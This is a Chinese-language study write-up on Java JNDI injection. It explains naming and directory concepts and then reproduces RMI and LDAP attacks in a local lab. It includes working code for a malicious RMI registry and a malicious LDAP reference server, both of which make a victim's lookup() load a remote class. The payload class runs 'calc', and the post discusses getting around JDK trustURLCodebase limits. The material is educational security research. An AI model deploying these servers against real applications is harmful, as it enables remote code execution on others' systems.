JNDI注入:

前言:

学习完CC链之后,主要作为扩展攻击面使用。

什么是JNDI:

JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。JNDI 提供统一的客户端 API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。

简单来说,JNDI就是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用和统一的接口。

image-20230530110041161

JNDI支持的服务:

  1. RMI(JAVA远程方法调用)这个是Java中特有的远程调用框架,其余都是通用,可以脱离Java独立使用的
  2. LDAP(轻量级目录访问协议)
  3. CORBA(公共对象请求代理体系结构)
  4. DNS(域名服务)

前三种都支持远程对象调用。

具体理解方式应该是:

Naming Service 命名服务:

命名服务将名称和对象进行关联,提供通过名称找到对象的操作,例如:DNS系统将计算机名和IP地址进行关联、文件系统将文件名和文件句柄进行关联等等。(就像是一个查询效果)

Directory Service 目录服务:

目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。(增删查改)

Reference 引用:

在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。

名称系统的特点概念:

Bindings:表示一个名称和对应对象的绑定关系,比如在文件系统中文件名绑定到对应的文件,DNS中域名绑定到对应的ip

Context:上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定的上下文中查找名称对应的对象,就像是一个文件目录一样,子目录就是子上下文。

JNDI支持的数据从存储对象:

  1. Java序列化对象
  2. JDNI Reference引用
  3. Marshalled对象
  4. RMI远程对象
  5. CORBA对象

JNDI的结构:

因为我们知道上述的服务中,只有RMI是Java特有的远程调用框架,而其余的是独立于Java的,JNDI的作用,就是在这个基础上提供了统一的接口,用来方便调用各种服务。

Java JDK中提供了五个包,用于保证JNDI的功能实现,分别是:

  1. javax.naming:主要用于命名操作,包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。
  2. javax.naming.event:在命名目录服务器中请求事件通知。
  3. javax.naming.ldap:提供LDAP支持。
  4. javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。

常用类:

InitialContext类:

用于创建一个初始上下文。

构造方法:

//构建一个初始上下文。
InitialContext()
//构造一个初始上下文,并选择不初始化它。
InitialContext(boolean lazy)
//使用提供的环境构建初始上下文。
InitialContext(Hashtable<?,?> environment)

常用方法:

//将名称绑定到对象。 
bind(Name name, Object obj)
//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
list(String name)
//检索命名对象。
lookup(String name)
//将名称绑定到对象,覆盖任何现有绑定。
rebind(String name, Object obj)
//取消绑定命名对象。
unbind(String name)

Reference类:

也是javax.naming中的一个类,这个类表示对在命名、目录系统外部找到的对象的引用,提供了JNDI中类的引用功能。

简单来说,作用就是从外部引用类,这个外部可以是命名的外部,也可以是目录的外部。

构造方法:

//为类名为“className”的对象构造一个新的引用。
Reference(String className)
//为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr)
//为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
//为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
Reference(String className, String factory, String factoryLocation)

/*
参数:
className 远程加载时所使用的类名
factory 加载的class中需要实例化类的名称
factoryLocation 提供classes数据的地址可以是file/ftp/http协议
*/

常用方法:

//将地址添加到索引posn的地址列表中。
void add(int posn, RefAddr addr)
//将地址添加到地址列表的末尾。
void add(RefAddr addr)
//从此引用中删除所有地址。
void clear()
//检索索引posn上的地址。
RefAddr get(int posn)
//检索地址类型为“addrType”的第一个地址。
RefAddr get(String addrType)
//检索本参考文献中地址的列举。
Enumeration<RefAddr> getAll()
//检索引用引用的对象的类名。
String getClassName()
//检索此引用引用的对象的工厂位置。
String getFactoryClassLocation()
//检索此引用引用对象的工厂的类名。
String getFactoryClassName()
//从地址列表中删除索引posn上的地址。
Object remove(int posn)
//检索此引用中的地址数。
int size()
//生成此引用的字符串表示形式。
String toString()

原理:

JNDI注入,也会是当开发者在定义JNDI接口初始化的时候,lookup()中的参数是可控的,攻击者就可以通过更改参数,是客户端访问恶意的RMI或者是LDAP服务来加载恶意对象,从而执行恶意代码。

而为了完成恶意代码的执行,需要了解到

当调用了lookup()之后,会返回一个对应的Reference引用类,随后可以通过这个引用,间接的调用对象。

Reference中,由地址RefAddress的有序列表和所引用的对象的信息组成。而每个地址都包含了如何构造对应的对象的信息,包括引用对象的Java类明,以及用于创建对象的ObjectFactory类的名称和位置。

Reference可以使用ObjectFactory来构造对象,当使用lookup()方法查找对象的时候,Reference将使用提供的ObjectFactory类的加载地址来加载ObejctFactory类,通过这个类来构造所需要的对象。

示例:

package com.rmi.demo;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/Exploit"; // 指定查找的 uri 变量
InitialContext initialContext = new InitialContext();// 得到初始目录环境的一个引用
initialContext.lookup(uri); // 获取指定的远程对象

}
}

image-20230530154020251

如果需要举例理解一下,这里可能反而更像是一个ssrf的问题。

JNDI+RMI复现效果:

在通过JNDI远程调用引用的时候,可以通过http协议进行加载的,这里可以在本地尝试通过JNDI和http协议来加载一个恶意类。

这里需要三个组成部分:

没有经过严格过滤和限制的客户端:

package JNDI;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Client {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:7778/RCE";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
}
}

用于攻击的恶意服务端:

package JNDI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;


import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Service {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(7778);
Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("RCE",wrapper);
}
}

在服务端中,binding的恶意类Calculator。

package JNDI;

public class Calculator {
public Calculator() throws Exception {
Runtime.getRuntime().exec("calc");
}
}

同时,借用Python3中自带的简单服务器组件http.server来起一个简单的服务:

image-20230530204250374

image-20230530204306977

当上述条件准备好了之后,这里首先启动服务端,然后启动客户端,就可以完成一次恶意攻击。

就会完成一次计算器弹窗。

这里计算器弹窗的调用是通过构造函数实现的,而实际上也可以通过static方法执行。

高版本JDK问题:

JDK 6u1327u1228u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为false,运行时需加入参数 -Dcom.sun.jndi.rmi.object.trustURLCodebase=true 。因为如果 JDK 高于这些版本,默认是不信任远程代码的,因此也就无法加载远程 RMI 代码。
不加参数,抛出异常:

image-20230531004906164

这是因为高版本中,默认是不信任远程代码的,所以无法加载远程RMI代码。

上面高版本 JDK 中无法加载远程代码的异常出现在 com.sun.jndi.rmi.registry.RegistryContext#decodeObject
analysis1.png
其中 getFactoryClassLocation()方法是获取classFactoryLocation地址,可以看到,在 ref != null && ref.getFactoryClassLocation() != null 的情况下,会对 trustURLCodebase 进行取反,由于在 JDK 6u1327u1228u113 版本及以后, com.sun.jndi.rmi.object.trustURLCodebase 默认为 false ,所以会进入 if 语句,抛出异常。

高版本绕过方式:

如果要解码的对象r是远程引用,就需要先解引用,然后再调用NamingManager.getObjectInstance()

其中会实例化对应的 ObjectFactory 类并调用其 getObjectInstance 方法,这也符合我们前面打印的 EvilClass 的执行顺序。

因此为了绕过这里 ConfigurationException 的限制,我们有三种方法: 令 ref 为空,或者 令 ref.getFactoryClassLocation() 为空,或者 * 令 trustURLCodebasetrue

  1. 如果尝试令ref为空,也就是需要obj既不是Reference的对象,也不是Referenceable的对象,也就是不能是对象引用,只能是原始对象。此时,客户端会直接实例化本地对象。
  2. 如果尝试令ref.getFactoryClassLocation()返回空,也就是令ref对象的classFactoryLoacation属性为空,这个属性是表示引用所指向对象对应的factory名称,而相对于远程代码加载时codebase,也就是远程代码的URL地址。(可以是多个,通过空格间隔),这正是我们上文针对低版本的利用方式,如果对应的factory是本地代码,则值为空。

这里看一下构造函数:

rmiBypass2.png

rmiBypass1.png

也就是说,只要我们在远程RMI返回的Reference对象中不指定Factory的codebase,就可以满足条件2。

看一下javax.naming.spi.NamingManager的解析过程:

public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception
{
ObjectFactory factory;

// Use builder if installed
ObjectFactoryBuilder builder = getObjectFactoryBuilder();
if (builder != null) {
// builder must return non-null factory
factory = builder.createObjectFactory(refInfo, environment);
return factory.getObjectInstance(refInfo, name, nameCtx,
environment);
}

// Use reference if possible
Reference ref = null;
if (refInfo instanceof Reference) {
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}

Object answer;

if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;
} else {
// if reference has no factory, check for addresses
// containing URLs
answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}
// try using any specified factories
answer =
createObjectFromFactories(refInfo, name, nameCtx, environment);
return (answer != null) ? answer : refInfo;
}

可以看到,在处理Reference对象的时候,会首先调用ref.getFactoryClassName()获取对应工厂类的名称,也就是会首先从本地的CLASSPATH中寻找该类,如果不为空,则直接实例化工厂类,并通过工厂类去实例化一个对象并返回,如果为空则通过网络去请求。

在我们之前使用的时候,就是直接在本地查找了一个工厂类叫做Calculator.class,也就是我们编译了Calculator.java后生成的class文件。

当寻找到的时候,会直接将这个类实例化,然后就触发了我们的构造函数。

也就是说,只要能够在本地CLASSPATH中找到一个我们需要的,可以利用的工厂类,也可以执行某种操作。

但是这个工厂类应当实现javax.naming.spi.ObjectFactory接口,并且至少存在一个getObjectInstance()方法。

image-20230531201842527

可以看到,在这里会进行一个getObjectInstance()的调用。

以及我们这里是通过JNDI中调用的,在JNDI中,工厂类必须实现javax.naming.spi.ObjectFactory接口,这是因为该接口定义了JNDI在创建对象时使用的标准协议。

也就是提供了上述方法。

JNDI+LDAP复现效果:

LDAP是轻量级目录访问协议,不是基于Java产生的,因此,需要自己下载jar包来进行搭建。

之所以可以利用这个服务,是因为LDAP能够对接JNDI,同时能够返回一个JNDI Reference对象,这部分的利用内容和之前的差不多。

同时LDAP作为一个树状数据库,可以通过一些特殊的属性来实现Java对象的存储,此外,还有一些其他实现Java对象存储的方法。

例如使用Java序列化进行存储,或是使用Reference进行存储。

所以,如果存储在LDAP中的Java对象,一旦被客户端解析,或者说是反序列化,就可能会引起远程代码执行。

特点:

LDAP远程加载的Factory类不受RMI+Reference中的配置的限制,因此使用范围广。

这是因为它不是使用RMI Class Loader机制。

服务端:

package LDAP;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class Service {
private static final String LDAP_BASE = "dc=example,dc=com"; //配置基础DN,指定了基础的路径


public static void main (String[] args) {

String url = "http://127.0.0.1:8081/#Calculator";
int port = 1234;


try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); //新建一个类用于配置LDAP
config.setListenerConfigs(new InMemoryListenerConfig( //配置LDAP服务器的监听器
"listen", //标识服务器的监听器的名字为listen,以区别别的监听器
InetAddress.getByName("0.0.0.0"), //服务器绑定的IP地址
port,//服务器绑定的端口
ServerSocketFactory.getDefault(), //用于创建服务器套接字的工厂类,调用默认
SocketFactory.getDefault(), //用于创建客户端套接字的工厂类,调用默认
(SSLSocketFactory) SSLSocketFactory.getDefault())); //用于创建安全链接的SSL套接字工厂类,调用默认

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); //配置拦截器,其中OperationInterceptor是一个自定义的类
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); //创建一个运行在内存中的LDAP实例
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening(); //启动监听

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;


/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}


/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) { //拦截功能最重要的实现部分,重写的processSearchResult()
String base = result.getRequest().getBaseDN(); //获取请求和基础DN
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}


protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));//将我们传入的URL进行处理,将点替换为/,将最后拼接一个.class,用于定位类
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit"); //添加一个名为javaClassName,值为Exploit的元素
String cbstring = this.codebase.toString(); //将URL类转化为字符串
int refPos = cbstring.indexOf('#'); //获取#号的索引,也就是找到#在第几个字符
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos); //截取#号前面的字符串部分
}
e.addAttribute("javaCodeBase", cbstring); //指定类文件的代码库位置
e.addAttribute("objectClass", "javaNamingReference"); //指定该条目的对象类别,也就是设置值
e.addAttribute("javaFactory", this.codebase.getRef()); //指定工厂类,这里调用的getRef()是指URL中的引用部分,一般用#号标识
result.sendSearchEntry(e); //将修改完成的Referenc发送给客户端
result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); //设置状态为成功
}

}
}

这里的服务端,整体实现的思路就是

  1. 准备两个端口,一个用于访问,一个用于存储恶意类
  2. 当客户端访问其中一个端口时,将请求转接到预定义好的URL中,随后通过预定义好的方法,来获取基础DN,工厂类等,最后返回引用给客户端。

客户端:

package LDAP;

import javax.naming.InitialContext;
import javax.naming.NamingException;


public class Client {
public static void main(String[] args) throws NamingException{
String url = "ldap://127.0.0.1:1234/Calculator";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}

}

和之前RMI的客户端其实没多少区别,因为每次其实就是请求一个端口,返回一个引用。

恶意类代码也什么区别。